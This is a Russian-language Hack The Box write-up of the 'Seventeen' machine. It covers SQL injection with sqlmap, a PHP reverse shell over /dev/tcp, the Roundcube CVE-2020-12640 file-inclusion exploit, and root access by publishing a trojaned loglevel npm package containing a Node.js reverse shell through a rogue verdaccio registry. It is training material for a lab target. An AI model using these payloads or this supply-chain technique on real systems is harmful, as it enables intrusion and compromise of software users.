Хакер - HTB Seventeen. Подменяем пакет NPM для захвата хоста
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Exam Reviewer Management System
- Точка опоры
- CVE-2020-12640
- Продвижение
- Docker to Host
- Пользователь Kali
- Локальное повышение привилегий
В этом райтапе я покажу, как создать свой реестр NPM и разместить с ним вредоносный пакет для захвата удаленной машины. Но начнем мы с SQL-инъекции, а затем заюзаем известную RCE для повышения привилегий.
Наша цель — захват машины Seventeen с тренировочной площадки Hack The Box. Задание оценено как сложное.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.165 seventeen.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Видим три открытых порта:
- 22 — служба OpenSSH 7.6p1;
- 80 — веб‑сервер Apache 2.4.29;
- 8000 — веб‑сервер Apache 2.4.38.
Нам доступно сразу два веб‑сервера, с которых и начнем пробивать периметр.

Осмотревшись на сайте, находим подтверждение тому, что в самом начале выбрали верное доменное имя.

Больше ничего интересного нет, поэтому перейдем к активному сканированию.
ТОЧКА ВХОДА
Итак, я попробую поискать скрытые файлы и каталоги. Делать это я буду при помощи сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
ffuf -u 'http://seventeen.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt

Сканирование каталогов ничего интересного не дало. Других HTML-страниц тоже не нашлось. Остается просканировать поддомены. В этом случае мы будем перебирать заголовок Host в параметре -H. Так как все ответы будут вести на основной домен, можем их отфильтровать по размеру страницы в параметре --fs.
ffuf -u 'http://seventeen.htb/' -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.seventeen.htb' --fs 20689

Находим один поддомен, запись для которого добавляем в /etc/hosts.
10.10.11.165 seventeen.htb exam.seventeen.htb

Exam Reviewer Management System
На сайте нас встречает Exam Reviewer Management System, для которой мы легко находим публичный эксплоит в базе Exploit-DB. Это SQL-инъекция.

Нам предоставляют готовую нагрузку, которой непременно стоит воспользоваться. Первым делом запустим sqlmap.
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --level 3

Sqlmap нашел нагрузку, теперь получим базы данных (параметр --dbs).
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --dbs --level 3

Отмечаем для себя, что на сервере используются и другие платформы, включая Roundcube. Начнем с первой базы, получим таблицы (параметр --tables) из базы db_sfms (параметр -D).
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' -D db_sfms --tables

Давай сдампим (параметр --dump) таблицы user и student (параметр -T). Для быстроты используем десять потоков (параметр --threads).
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D db_sfms -T user --dump

sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D db_sfms -T student --dump

Получили много хешей, что не может не радовать. Теперь перейдем к базе erms_db и по привычному сценарию сначала узнаем таблицы.
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D erms_db --tables

Из этой базы тоже сдампим пользователей.
sqlmap -u 'http://exam.seventeen.htb/?p=take_exam&id=1' --threads 10 -D erms_db -T users --dump

Кроме хешей, мы раскрываем каталог с аватарами, а это неизвестная до данного момента директория на веб‑сервере — /oldmanagement! Из Roundcube ничего не получаем, поэтому с помощью онлайновой базы крякаем хеши.

Получаем один пароль, с которым попробуем пойти на найденный сайт — School File Management System.

ТОЧКА ОПОРЫ
После авторизации видим загруженный файл, который мы, конечно же, скачаем.

Немного почитав про эту систему, я узнал о возможности загрузить и выполнить файл на PHP. Файл будет расположен в каталоге /files/31234/. В качестве реверс‑шелла загружаем простой скрипт:
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.16/4321 0>&1'"); ?>

Обращаемся к нашему скрипту по следующему адресу:
http://seventeen.htb:8000/oldmanagement/files/31234/reverse.php
И получаем ответ, что доступ закрыт. Загрузить скрипт в какой‑нибудь другой каталог, используя обход путей, тоже не вышло.

Вернемся к скачанному файлу, ведь там может быть какая‑то ценная информация. И находим в нем еще один сайт.

Добавляем домен в файл /etc/hosts. Так как порт 443 закрыт, пойдем на 8000. Доступ к корневому каталогу запрещен, зато страница mastermailer существует, и там нас встречает Roundcube.

Никакие учетные данные не подходят, тогда просмотрим версию почтового клиента. Ее возьмем из файла /CHANGELOG.

Номер версии нашли, значит, можно искать готовые эксплоиты. Для Roundcube Webmail 1.4.2 нашлась CVE-2020-12640. Это включение произвольных локальных файлов PHP. А в сочетании с тем, что мы можем загрузить файл через другую CMS, это даст нам удаленное выполнение кода!
CVE-2020-12640
На GitHub удалось даже найти PoC. При этом нам доступен каталог installer.

Нам нужно перейти к опции Create config и выполнить запрос на обновление настроек, который мы перехватываем в Burp Proxy.

В PoC используется несуществующий параметр _plugins_qwerty, который указывает произвольный каталог. Я обратил внимание на то, что рядом с этим каталогом расположен файл PHP с тем же названием. Поэтому попробуем просканировать каталоги в директории, в которые попадают загружаемые файлы.
ffuf -u 'http://seventeen.htb:8000/oldmanagement/files/31234/FUZZ' -w directory_2.3_medium_lowercase.txt -t 256

Находим каталог papers, поэтому загрузим реверс‑шелл с названием papers.php. Затем используем строку параметров из PoC, заменяя ею оригинальный запрос.
_step=2&_product_name=Seventeen+Webmail&_plugins_qwerty=../../../../../../../../../var/www/html/oldmanagement/files/31234/papers&submit=UPDATE+CONFIG

И на наш листенер (я использую pwncat-cs) получаем бэкконнект.

ПРОДВИЖЕНИЕ
Docker to Host
По названию хоста можно понять, что мы попали в докер. Так как на веб‑сервере крутится несколько систем, мы можем получить учетные данные. Хотя бы из файлов для подключения к базам данных.

Получаем пароль, который нужно попробовать использовать для разных служб, к примеру SSH. Имя пользователя узнаем из файла /etc/passwd.

Подключаемся по SSH с найденными учетными данными и забираем пользовательский флаг.

Пользователь Kali
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию, поэтому расчехляем скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
С помощью скрипта находим входящие сообщения пользователя kavi.

Читаем и отмечаем для себя информацию о локальном репозитории пакетов NPM.

Если это локальный репозиторий, то проверим открытые порты, нас интересует порт 4873.

Нужный нам порт открыт, и этот адрес должен быть указан в файле .npmrc.

Так как в сообщении упоминался «старый логгер», попробуем найти в реестре что‑то с этим связанное.
npm search log --registry http://127.0.0.1:4873

Доступен пакет db-logger. Это интересно, так как если файл работает с базой данных, то он должен содержать учетные данные.
Установим пакет из локального реестра.
npm install db-logger --registry http://127.0.0.1:4873

А теперь просмотрим содержимое файла.

Находим еще один пароль, который позволяет получить новую сессию, уже от имени пользователя kavi.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Одно из первых мест, которые нужно проверить при повышении привилегий, — настройки sudoers. Получить их можно командой sudo -l.

Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Узнаем, что мы можем выполнить команду /opt/app/startup.sh без ввода пароля в привилегированном контексте. Запустим этот скрипт и посмотрим, что произойдет.

По логам мы можем определить, что скрипт проверяет установленные пакеты NPM, а если такого пакета нет, то происходит его поиск и установка. Если проверить каталог /opt/app/ до запуска и после, можем заметить, что там появляется нужный пакет loglevel.

В этом каталоге интересен файл index, где находим требование пакета loglevel.

Тут появилась идея подменить loglevel, внедрив в него реверс‑шелл. Но как я ни пытался локально это сделать, ничего не получилось. Но есть и другой путь! Дело в том, что менеджер пакетов NPM всегда проверяет адрес удаленного репозитория в файле .npmrc.
Давай укажем в качестве удаленного репозитория свой хост, а потом развернем локальный поставщик пакетов.
echo "registry=http://10.10.14.16:4873/" > ~/.npmrc
Для поставки пакетов будем использовать утилиту verdaccio.
sudo npm install -g verdaccio
verdaccio -l 10.10.14.16:4873

Программа запущена, отображает логи, поэтому мы можем перейти к следующему шагу и создать пользователя.
npm adduser --registry http://0.0.0.0:4873/

Теперь скачаем пакет loglevel с GitHub, перейдем в каталог пакета и попробуем его опубликовать. Как правило, мы получаем на этом этапе ошибку.
git clone https://github.com/pimterry/loglevel.git
npm publish --registry http://10.10.14.16:4873/

Для решения этой проблемы нам нужно просто убрать пакет с публикации и опубликовать заново.
npm unpublish --registry http://10.10.14.16:4873/ --force

Перед повторной публикацией давай запишем реверс‑шелл на Node.js в основные файлы loglevel: ./lib/loglevel.js и ./dist/loglevel.js.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("bash", []);
var client = new net.Socket();
client.connect(4321, "10.10.14.16", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
А теперь публикуем пакет заново. После публикации мы можем перейти по указанному адресу и проверить опубликованные пакеты.
npm publish --registry http://10.10.14.16:4873/


Теперь вернемся на удаленный хост и снова выполним команду sudo /opt/app/startup.sh. В логах verdaccio обнаружим обращение к пакетам loglevel и mysql, а затем в окне листенера получим бэкконнект.


У нас есть рутовый шелл, а значит, машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei